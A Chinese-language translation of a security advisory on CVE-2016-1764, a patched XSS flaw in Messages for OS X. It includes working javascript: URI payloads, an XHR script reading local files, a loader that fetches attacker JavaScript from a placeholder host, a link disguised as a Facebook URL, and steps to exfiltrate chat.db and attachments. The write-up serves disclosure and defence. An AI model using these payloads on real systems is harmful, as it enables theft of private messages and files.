
通过XSS提取iMessage数据

供应商: Apple
发布日期: 2016年4月8日
补丁日期: 2016年3月21日
受影响系统: OS X Mountain Yosemite、El Capitan 上的 Messages
尽管近期围绕 Apple 的争论大多集中在密码学上,但业界和执法部门似乎忘记了更简单的应用层漏洞同样可以绕过加密。CVE-2016-1764 是 Apple 于 2016 年 3 月修复的一个应用层漏洞,攻击者利用 OS X iMessage 客户端,无需破解加密即能远程泄露所有消息内容及附件明文。更值得注意的是,利用该漏洞不需要数学研究生学历,也不需要深入了解内存管理、shellcode 或复杂的 ASLR 绕过 ROP 链。事实上,这是一个相对简单的漏洞,任何具备基本 JavaScript 知识的人都可以利用。
Apple 的 OS X 版 Messages(iMessage)使用嵌入式 WebKit 实现其用户界面,并且 OS X 上的 Messages 会将任何 URI 渲染为可点击的 HTML <a href= 链接。攻击者可以构造一个简单的 JavaScript URI(例如 javascript:),受害者点击后,攻击者即可在应用 DOM 上下文中获得初始 JavaScript 执行权限(XSS)。虽然 Messages for OS X 使用的嵌入式 WebKit 库在 applewebdata:// 源中执行,但由于没有实施同源策略(SOP),攻击者仍可通过 XMLHttpRequest(XHR)GET 请求读取 file:// URI 下的任意文件。通过滥用 XHR 读取文件,攻击者可以将受害者的完整聊天记录和附件以上传至远程服务器,速度仅受受害者网络连接限制;唯一需要的用户交互是点击聊天中的一个链接。此外,如果开启了 SMS 转发,攻击者还能恢复受害者 iPhone 发送或接收的短信。
如果您想了解所有细节,请继续阅读。
OS X 版 Messages 的用户界面大部分使用了嵌入式 WebKit。当应用发送或接收消息时,HTML 会被插入到 DOM 中以渲染 UI 以及任何已发送的附件/媒体内容。所有通过该应用发送的消息都在 DOM 中渲染,因此常见的客户端 Web 漏洞可能影响该应用。
在对 OS X 版 Messages 客户端进行测试时,发现任意协议方案都会被自动转换为链接并插入到 DOM 中。例如,以下 URI 在发送后都会被插入到 WebView 中作为链接:
test://test
smb://[email protected]
file:///etc
anyurihandler://anycontentafter
由于 OS X 版 Messages 没有实施接受的协议白名单,攻击者可以向受害者发送一条包含 JavaScript URI javascript: 的消息,该 URI 会在受害者机器上被转换为可点击的链接。
一旦点击,嵌入式 WebKit 会在当前源中忠实地执行攻击者控制的 JavaScript,例如:

注意,%0a(即 \n)用于转义 JavaScript 注释 //,这是为了匹配解析器的链接模式。代码被解释后类似于:
//bishopfox.com/research?
prompt(1)
点击此链接后,OS X 版 Messages 中会触发一个 JavaScript 提示框:

然而,OS X 版 Messages 是一个桌面应用程序,而非网站。因此 JavaScript 在 applewebdata:// 源的上下文中执行:

但是,攻击者的代码是在完整的 WebKit 实现中执行的,因此 XMLHttpRequest 在运行时可用。嵌入式 WebKit 与 Chrome 或 Safari 等 Web 浏览器的一个关键区别在于,嵌入式版本不实现任何同源策略(SOP),因为它是一个原生桌面应用程序。攻击者可以利用这一点,通过向 file:// URI 发送 XMLHttpRequest GET 请求来读取本地文件系统中的文件,而无需违反同源策略。唯一的要求是攻击者必须知道完整的文件路径,不能使用相对文件系统路径(例如 ~/.ssh/id_rsa)。
例如,以下 JavaScript 可以在 Messages 应用 DOM 中执行以读取 /etc/passwd 文件:
function reqListener () {
prompt(this.responseText);
// 在此处发送回攻击者服务器
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();
转换为 URI 载荷后,代码显示如下:
javascript://bishopfox.com/research?%0d%0afunction%20reqListener%20()%20%7B%0A%20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B
在 Messages 应用中点击后,会出现以下提示框:

由于上述向量过长且过于可疑,可以通过动态加载并注入来自某个域的 JavaScript 到 DOM 中来缩短 URI。例如,以下向量将 http://example.com/1.js 中的 JavaScript 注入到 Messages 的 DOM 中:
javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
上述向量中引用的 JavaScript 文件 //example.com/1.js 可以包含任意长度和任意指令的 JavaScript 代码。
然而,OS X 应用沙盒将文件系统访问限制为仅能访问 ~/Library/Messages/* 以及一些其他非用户系统目录,例如 /etc/。
当 OS X 上的 Messages 接收到消息和附件时,它们会被保存在以下目录中:
/Users/<用户名>/Library/Messages/*
这些消息的文本内容及其他元数据存储在以下位置的 SQLite 数据库中:
/Users/<用户名>/Library/Messages/chat.db
该数据库还包含了用户机器上所有附件的位置信息。
为了窃取该数据库以及随后窃取受害者曾接收或发送的所有附件,需要一个更高级的攻击载荷。
攻击者需要执行以下步骤才能成功外泄数据:
~)。chat.db 文件路径,即 /Users/ExampleUser/Library/Messages/chat.db。XMLHttpRequest 读取 chat.db 数据库,并查询附件的文件路径。XMLHttpRequest 上传数据库和所有附件;如果需要实时访问,也可以使用 WebSockets。我们可以通过请求并解析 /Library/Preferences/com.apple.loginwindow.plist 来确定当前登录用户,该文件在 OS X 应用沙盒内是可读的。由此,可以轻松构造出用户 chat.db 的完整路径。
一旦成功外泄数据库文件,可以将其传递给自定义的服务器端脚本,该脚本从数据库的 attachments 表中提取受害者发送和接收的附件的完整路径。
这些完整路径会被恶意 JavaScript 载荷获取,然后通过 XMLHttpRequest 从受害者机器上外泄附件文件。
接下来,攻击者会进行一些混淆,使 URL 看起来更可信:
javascript://www.facebook.com/photo.php?fbid=111789595853599&set=a.111055039260388.1073741826.100010676767694&type=3&theater%0A%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fyourhostname%3A8888%2ff%2fpayload.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
如果受害者在 OS X 版 Messages 应用中点击上述 URI,受害者的完整聊天记录和所有相关附件将被发送到攻击者手中。
JavaScript 无处不在
Web 应用程序安全漏洞不再仅限于浏览器,而是已经渗透到原生应用程序中。虽然开发者使用 Web 技术(如 WebKit 或其更危险的变体 nw.js)构建桌面应用程序可以提高效率,但仍必须遵循 Web 应用程序安全最佳实践。